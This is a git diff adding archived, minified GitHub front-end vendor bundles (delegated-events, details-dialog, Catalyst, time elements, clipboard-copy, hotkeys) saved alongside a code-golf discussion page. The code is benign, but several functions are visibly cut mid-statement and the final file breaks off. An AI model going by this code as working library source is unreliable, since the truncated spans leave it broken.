B(t){U(t),j(t)}a(B,"initializeClass");function V(t){return L.has(t)}a(V,"initialized");function G(t){const o=t.prototype.connectedCallback;t.prototype.connectedCallback=function(){$(this,o)},B(t)}a(G,"controller")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c51-edfd57e08401.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js new file mode 100644 index 0000000..a46ba85 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_delegated-events_dist_index_js-node_modu.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var K=Object.defineProperty;var u=(W,L)=>K(W,"name",{value:L,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","node_modules_delegated-events_dist_index_js"],{59753:(W,L,H)=>{H.d(L,{f:()=>V,on:()=>z});function g(){if(!(this instanceof g))return new g;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}u(g,"SelectorSet");var x=window.document.documentElement,F=x.matches||x.webkitMatchesSelector||x.mozMatchesSelector||x.oMatchesSelector||x.msMatchesSelector;g.prototype.matchesSelector=function(e,r){return F.call(e,r)},g.prototype.querySelectorAll=function(e,r){return r.querySelectorAll(e)},g.prototype.indexes=[];var q=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"ID",selector:u(function(r){var n;if(n=r.match(q))return n[0].slice(1)},"matchIdSelector"),element:u(function(r){if(r.id)return[r.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"CLASS",selector:u(function(r){var n;if(n=r.match(P))return n[0].slice(1)},"matchClassSelector"),element:u(function(r){var n=r.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var B=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;g.prototype.indexes.push({name:"TAG",selector:u(function(r){var n;if(n=r.match(B))return n[0].toUpperCase()},"matchTagSelector"),element:u(function(r){return[r.nodeName.toUpperCase()]},"getElementTagName")}),g.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var C;typeof window.Map=="function"?C=window.Map:C=function(){function e(){this.map={}}return u(e,"Map"),e.prototype.get=function(r){return this.map[r+" "]},e.prototype.set=function(r,n){this.map[r+" "]=n},e}();var I=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function O(e,r){e=e.slice(0).concat(e.default);var n=e.length,c,o,l,a,f=r,m,h,p=[];do if(I.exec(""),(l=I.exec(f))&&(f=l[3],l[2]||!f)){for(c=0;c3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];a||(a=new g,l[e]=a,document.addEventListener(e,k,o)),a.add(r,n)}u(z,"on");function G(e,r,n){var c=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},o=!!c.capture,l=o?w:_,a=l[e];!a||(a.remove(r,n),!a.size&&(delete l[e],document.removeEventListener(e,k,o)))}u(G,"off");function V(e,r,n){return e.dispatchEvent(new CustomEvent(r,{bubbles:!0,cancelable:!0,detail:n}))}u(V,"fire")},14840:(W,L,H)=>{H.d(L,{Z:()=>R});const g="data-close-dialog",x=`[${g}]`;function F(s){let t=Array.from(s.querySelectorAll("[autofocus]")).filter(P)[0];t||(t=s,s.setAttribute("tabindex","-1")),t.focus()}u(F,"autofocus");function q(s){const t=s.currentTarget;t instanceof Element&&(s.key==="Escape"||s.key==="Esc"?(_(t,!1),s.stopPropagation()):s.key==="Tab"&&C(s))}u(q,"keydown");function P(s){return s.tabIndex>=0&&!s.disabled&&B(s)}u(P,"focusable");function B(s){return!s.hidden&&(!s.type||s.type!=="hidden")&&(s.offsetWidth>0||s.offsetHeight>0)}u(B,"visible");function C(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.querySelector("details-dialog");if(!t)return;s.preventDefault();const i=Array.from(t.querySelectorAll("*")).filter(P);if(i.length===0)return;const d=s.shiftKey?-1:1,E=t.getRootNode(),N=t.contains(E.activeElement)?E.activeElement:null;let k=d===-1?-1:0;if(N instanceof HTMLElement){const z=i.indexOf(N);z!==-1&&(k=z+d)}k<0?k=i.length-1:k=k%i.length,i[k].focus()}u(C,"restrictTabBehavior");function I(s){const t=s.querySelector("details-dialog");return t instanceof y?t.dispatchEvent(new CustomEvent("details-dialog-close",{bubbles:!0,cancelable:!0})):!0}u(I,"allowClosingDialog");function O(s){if(!(s.currentTarget instanceof Element))return;const t=s.currentTarget.closest("details");!t||!t.hasAttribute("open")||I(t)||(s.preventDefault(),s.stopPropagation())}u(O,"onSummaryClick");function M(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(i instanceof y)if(t.hasAttribute("open")){const d="getRootNode"in i?i.getRootNode():document;d.activeElement instanceof HTMLElement&&b.set(i,{details:t,activeElement:d.activeElement}),F(i),t.addEventListener("keydown",q)}else{for(const E of i.querySelectorAll("form"))E.reset();const d=D(t,i);d&&d.focus(),t.removeEventListener("keydown",q)}}u(M,"toggle");function D(s,t){const i=b.get(t);return i&&i.activeElement instanceof HTMLElement?i.activeElement:s.querySelector("summary")}u(D,"findFocusElement");function _(s,t){t!==s.hasAttribute("open")&&(t?s.setAttribute("open",""):I(s)&&s.removeAttribute("open"))}u(_,"toggleDetails");function w(s){const t=s.currentTarget;if(!(t instanceof Element))return;const i=t.querySelector("details-dialog");if(!(i instanceof y))return;const d=i.querySelector("include-fragment:not([src])");if(!d)return;const E=i.src;E!==null&&(d.addEventListener("loadend",()=>{t.hasAttribute("open")&&F(i)}),d.setAttribute("src",E),T(t))}u(w,"loadIncludeFragment");function A(s,t,i){T(s),t&&s.addEventListener("toggle",w,{once:!0}),t&&i&&s.addEventListener("mouseover",w,{once:!0})}u(A,"updateIncludeFragmentEventListeners");function T(s){s.removeEventListener("toggle",w),s.removeEventListener("mouseover",w)}u(T,"removeIncludeFragmentEventListeners");const b=new WeakMap;class y extends HTMLElement{static get CLOSE_ATTR(){return g}static get CLOSE_SELECTOR(){return x}constructor(){super();b.set(this,{details:null,activeElement:null}),this.addEventListener("click",function({target:t}){if(!(t instanceof Element))return;const i=t.closest("details");i&&t.closest(x)&&_(i,!1)})}get src(){return this.getAttribute("src")}set src(t){this.setAttribute("src",t||"")}get preload(){return this.hasAttribute("preload")}set preload(t){t?this.setAttribute("preload",""):this.removeAttribute("preload")}connectedCallback(){this.setAttribute("role","dialog"),this.setAttribute("aria-modal","true");const t=b.get(this);if(!t)return;const i=this.parentElement;if(!i)return;const d=i.querySelector("summary");d&&(d.hasAttribute("role")||d.setAttribute("role","button"),d.addEventListener("click",O,{capture:!0})),i.addEventListener("toggle",M),t.details=i,A(i,this.src,this.preload)}disconnectedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;if(!i)return;i.removeEventListener("toggle",M),T(i);const d=i.querySelector("summary");d&&d.removeEventListener("click",O,{capture:!0}),t.details=null}toggle(t){const i=b.get(this);if(!i)return;const{details:d}=i;!d||_(d,t)}static get observedAttributes(){return["src","preload"]}attributeChangedCallback(){const t=b.get(this);if(!t)return;const{details:i}=t;!i||A(i,this.src,this.preload)}}u(y,"DetailsDialogElement");const R=y;window.customElements.get("details-dialog")||(window.DetailsDialogElement=y,window.customElements.define("details-dialog",y))}}]);})(); + +//# sourceMappingURL=vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-2fddb5aecbef.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js new file mode 100644 index 0000000..c45b168 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_catalyst_lib_index_js-node_module.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var B=Object.defineProperty;var i=(I,_)=>B(I,"name",{value:_,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js"],{90420:(I,_,L)=>{L.d(_,{Lj:()=>Y,Ih:()=>T,fA:()=>P,GO:()=>U});const F=new WeakSet;function v(e){F.add(e),e.shadowRoot&&g(e.shadowRoot),p(e),b(e.ownerDocument)}i(v,"bind");function g(e){p(e),b(e)}i(g,"bindShadow");const w=new WeakMap;function b(e=document){if(w.has(e))return w.get(e);let o=!1;const a=new MutationObserver(m=>{for(const n of m)if(n.type==="attributes"&&n.target instanceof Element)M(n.target);else if(n.type==="childList"&&n.addedNodes.length)for(const t of n.addedNodes)t instanceof Element&&p(t)});a.observe(e,{childList:!0,subtree:!0,attributeFilter:["data-action"]});const l={get closed(){return o},unsubscribe(){o=!0,w.delete(e),a.disconnect()}};return w.set(e,l),l}i(b,"listenForBind");function p(e){for(const o of e.querySelectorAll("[data-action]"))M(o);e instanceof Element&&e.hasAttribute("data-action")&&M(e)}i(p,"bindElements");function z(e){const o=e.currentTarget;for(const a of D(o))if(e.type===a.type){const l=o.closest(a.tag);F.has(l)&&typeof l[a.method]=="function"&&l[a.method](e);const m=o.getRootNode();if(m instanceof ShadowRoot&&F.has(m.host)&&m.host.matches(a.tag)){const n=m.host;typeof n[a.method]=="function"&&n[a.method](e)}}}i(z,"handleEvent");function*D(e){for(const o of(e.getAttribute("data-action")||"").trim().split(/\s+/)){const a=o.lastIndexOf(":"),l=Math.max(0,o.lastIndexOf("#"))||o.length;yield{type:o.slice(0,a),tag:o.slice(a+1,l),method:o.slice(l+1)||"handleEvent"}}}i(D,"bindings");function M(e){for(const o of D(e))e.addEventListener(o.type,z)}i(M,"bindActions");function N(e,o){const a=e.tagName.toLowerCase();if(e.shadowRoot){for(const l of e.shadowRoot.querySelectorAll(`[data-target~="${a}.${o}"]`))if(!l.closest(a))return l}for(const l of e.querySelectorAll(`[data-target~="${a}.${o}"]`))if(l.closest(a)===e)return l}i(N,"findTarget");function q(e,o){const a=e.tagName.toLowerCase(),l=[];if(e.shadowRoot)for(const m of e.shadowRoot.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)||l.push(m);for(const m of e.querySelectorAll(`[data-targets~="${a}.${o}"]`))m.closest(a)===e&&l.push(m);return l}i(q,"findTargets");function P(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return N(this,o)}})}i(P,"target");function U(e,o){return Object.defineProperty(e,o,{configurable:!0,get(){return q(this,o)}})}i(U,"targets");function E(e){const o=e.name.replace(/([A-Z]($|[a-z]))/g,"-$1").replace(/(^-|-Element$)/g,"").toLowerCase();window.customElements.get(o)||(window[e.name]=e,window.customElements.define(o,e))}i(E,"register");function C(e){for(const o of e.querySelectorAll("template[data-shadowroot]"))o.parentElement===e&&e.attachShadow({mode:o.getAttribute("data-shadowroot")==="closed"?"closed":"open"}).append(o.content.cloneNode(!0))}i(C,"autoShadowRoot");const A=new WeakMap;function Y(e,o){A.has(e)||A.set(e,[]),A.get(e).push(o)}i(Y,"attr");function R(e,o){o||(o=S(Object.getPrototypeOf(e)));for(const a of o){const l=e[a],m=x(a);let n={configurable:!0,get(){return this.getAttribute(m)||""},set(t){this.setAttribute(m,t||"")}};typeof l=="number"?n={configurable:!0,get(){return Number(this.getAttribute(m)||0)},set(t){this.setAttribute(m,t)}}:typeof l=="boolean"&&(n={configurable:!0,get(){return this.hasAttribute(m)},set(t){this.toggleAttribute(m,t)}}),Object.defineProperty(e,a,n),a in e&&!e.hasAttribute(m)&&n.set.call(e,l)}}i(R,"initializeAttrs");function S(e){const o=new Set;let a=e;for(;a&&a!==HTMLElement;){const l=A.get(a)||[];for(const m of l)o.add(m);a=Object.getPrototypeOf(a)}return o}i(S,"getAttrNames");function x(e){return`data-${e.replace(/([A-Z]($|[a-z]))/g,"-$1")}`.replace(/--/g,"-").toLowerCase()}i(x,"attrToAttributeName");function H(e){let o=e.observedAttributes||[];Object.defineProperty(e,"observedAttributes",{configurable:!0,get(){return[...S(e.prototype)].map(x).concat(o)},set(a){o=a}})}i(H,"defineObservedAttributes");const y=new WeakSet;function h(e,o){e.toggleAttribute("data-catalyst",!0),customElements.upgrade(e),y.add(e),C(e),R(e),v(e),o&&o.call(e),e.shadowRoot&&g(e.shadowRoot)}i(h,"initializeInstance");function O(e){H(e),E(e)}i(O,"initializeClass");function Z(e){return y.has(e)}i(Z,"initialized");function T(e){const o=e.prototype.connectedCallback;e.prototype.connectedCallback=function(){h(this,o)},O(e)}i(T,"controller")},75329:(I,_,L)=>{L.d(_,{nJ:()=>T});const F=["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],v=["January","February","March","April","May","June","July","August","September","October","November","December"];function g(n){return`0${n}`.slice(-2)}i(g,"pad");function w(n,t){const r=n.getDay(),s=n.getDate(),c=n.getMonth(),u=n.getFullYear(),d=n.getHours(),f=n.getMinutes(),$=n.getSeconds();return t.replace(/%([%aAbBcdeHIlmMpPSwyYZz])/g,function(W){let k;switch(W[1]){case"%":return"%";case"a":return F[r].slice(0,3);case"A":return F[r];case"b":return v[c].slice(0,3);case"B":return v[c];case"c":return n.toString();case"d":return g(s);case"e":return String(s);case"H":return g(d);case"I":return g(w(n,"%l"));case"l":return String(d===0||d===12?12:(d+12)%12);case"m":return g(c+1);case"M":return g(f);case"p":return d>11?"PM":"AM";case"P":return d>11?"pm":"am";case"S":return g($);case"w":return String(r);case"y":return g(u%100);case"Y":return String(u);case"Z":return k=n.toString().match(/\((\w+)\)$/),k?k[1]:"";case"z":return k=n.toString().match(/\w([+-]\d\d\d\d) /),k?k[1]:""}return""})}i(w,"strftime");function b(n){let t;return function(){if(t)return t;if("Intl"in window)try{return t=new Intl.DateTimeFormat(void 0,n),t}catch(r){if(!(r instanceof RangeError))throw r}}}i(b,"makeFormatter");let p=null;const z=b({day:"numeric",month:"short"});function D(){if(p!==null)return p;const n=z();return n?(p=!!n.format(new Date(0)).match(/^\d/),p):!1}i(D,"isDayFirst");let M=null;const N=b({day:"numeric",month:"short",year:"numeric"});function q(){if(M!==null)return M;const n=N();return n?(M=!!n.format(new Date(0)).match(/\d,/),M):!0}i(q,"isYearSeparator");function P(n){return new Date().getUTCFullYear()===n.getUTCFullYear()}i(P,"isThisYear");function U(n,t){if("Intl"in window&&"RelativeTimeFormat"in window.Intl)try{return new Intl.RelativeTimeFormat(n,t)}catch(r){if(!(r instanceof RangeError))throw r}}i(U,"makeRelativeFormat");function E(n){const t=n.closest("[lang]");return t instanceof HTMLElement&&t.lang?t.lang:"default"}i(E,"localeFromElement");const C=new WeakMap;class A extends HTMLElement{static get observedAttributes(){return["datetime","day","format","lang","hour","minute","month","second","title","weekday","year","time-zone-name"]}connectedCallback(){const t=this.getFormattedTitle();t&&!this.hasAttribute("title")&&this.setAttribute("title",t);const r=this.getFormattedDate();r&&(this.textContent=r)}attributeChangedCallback(t,r,s){const c=this.getFormattedTitle();if(t==="datetime"){const $=Date.parse(s);isNaN($)?C.delete(this):C.set(this,new Date($))}const u=this.getFormattedTitle(),d=this.getAttribute("title");t!=="title"&&u&&(!d||d===c)&&this.setAttribute("title",u);const f=this.getFormattedDate();f&&(this.textContent=f)}get date(){return C.get(this)}getFormattedTitle(){const t=this.date;if(!t)return;const r=Y();if(r)return r.format(t);try{return t.toLocaleString()}catch(s){if(s instanceof RangeError)return t.toString();throw s}}getFormattedDate(){}}i(A,"ExtendedTimeElement");const Y=b({day:"numeric",month:"short",year:"numeric",hour:"numeric",minute:"2-digit",timeZoneName:"short"}),R=new WeakMap;class S extends A{attributeChangedCallback(t,r,s){(t==="hour"||t==="minute"||t==="second"||t==="time-zone-name")&&R.delete(this),super.attributeChangedCallback(t,r,s)}getFormattedDate(){const t=this.date;if(!t)return;const r=x(this,t)||"",s=H(this,t)||"";return`${r} ${s}`.trim()}}i(S,"LocalTimeElement");function x(n,t){const r={weekday:{short:"%a",long:"%A"},day:{numeric:"%e","2-digit":"%d"},month:{short:"%b",long:"%B"},year:{numeric:"%Y","2-digit":"%y"}};let s=D()?"weekday day month year":"weekday month day, year";for(const c in r){const u=r[c][n.getAttribute(c)||""];s=s.replace(c,u||"")}return s=s.replace(/(\s,)|(,\s$)/,""),w(t,s).replace(/\s+/," ").trim()}i(x,"formatDate");function H(n,t){const r={},s=n.getAttribute("hour");(s==="numeric"||s==="2-digit")&&(r.hour=s);const c=n.getAttribute("minute");(c==="numeric"||c==="2-digit")&&(r.minute=c);const u=n.getAttribute("second");(u==="numeric"||u==="2-digit")&&(r.second=u);const d=n.getAttribute("time-zone-name");if((d==="short"||d==="long")&&(r.timeZoneName=d),Object.keys(r).length===0)return;let f=R.get(n);f||(f=b(r),R.set(n,f));const $=f();if($)return $.format(t);{const W=r.second?"%H:%M:%S":"%H:%M";return w(t,W)}}i(H,"formatTime"),window.customElements.get("local-time")||(window.LocalTimeElement=S,window.customElements.define("local-time",S));class y{constructor(t,r){this.date=t,this.locale=r}toString(){const t=this.timeElapsed();if(t)return t;{const r=this.timeAhead();return r||`on ${this.formatDate()}`}}timeElapsed(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeAgoFromMs(t):null}timeAhead(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24);return t>=0&&u<30?this.timeUntil():null}timeAgo(){const t=new Date().getTime()-this.date.getTime();return this.timeAgoFromMs(t)}timeAgoFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return t<0?h(this.locale,0,"second"):r<10?h(this.locale,0,"second"):r<45?h(this.locale,-r,"second"):r<90?h(this.locale,-s,"minute"):s<45?h(this.locale,-s,"minute"):s<90?h(this.locale,-c,"hour"):c<24?h(this.locale,-c,"hour"):c<36?h(this.locale,-u,"day"):u<30?h(this.locale,-u,"day"):d<18?h(this.locale,-d,"month"):h(this.locale,-f,"year")}microTimeAgo(){const t=new Date().getTime()-this.date.getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return s<1?"1m":s<60?`${s}m`:c<24?`${c}h`:u<365?`${u}d`:`${f}y`}timeUntil(){const t=this.date.getTime()-new Date().getTime();return this.timeUntilFromMs(t)}timeUntilFromMs(t){const r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return d>=18?h(this.locale,f,"year"):d>=12?h(this.locale,f,"year"):u>=45?h(this.locale,d,"month"):u>=30?h(this.locale,d,"month"):c>=36?h(this.locale,u,"day"):c>=24?h(this.locale,u,"day"):s>=90?h(this.locale,c,"hour"):s>=45?h(this.locale,c,"hour"):r>=90?h(this.locale,s,"minute"):r>=45?h(this.locale,s,"minute"):r>=10?h(this.locale,r,"second"):h(this.locale,0,"second")}microTimeUntil(){const t=this.date.getTime()-new Date().getTime(),r=Math.round(t/1e3),s=Math.round(r/60),c=Math.round(s/60),u=Math.round(c/24),d=Math.round(u/30),f=Math.round(d/12);return u>=365?`${f}y`:c>=24?`${u}d`:s>=60?`${c}h`:s>1?`${s}m`:"1m"}formatDate(){let t=D()?"%e %b":"%b %e";return P(this.date)||(t+=q()?", %Y":" %Y"),w(this.date,t)}formatTime(){const t=Z();return t?t.format(this.date):w(this.date,"%l:%M%P")}}i(y,"RelativeTime");function h(n,t,r){const s=U(n,{numeric:"auto"});return s?s.format(t,r):O(t,r)}i(h,"formatRelativeTime");function O(n,t){if(n===0)switch(t){case"year":case"quarter":case"month":case"week":return`this ${t}`;case"day":return"today";case"hour":case"minute":return`in 0 ${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Problem 2 GCD · Discussion #12 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var 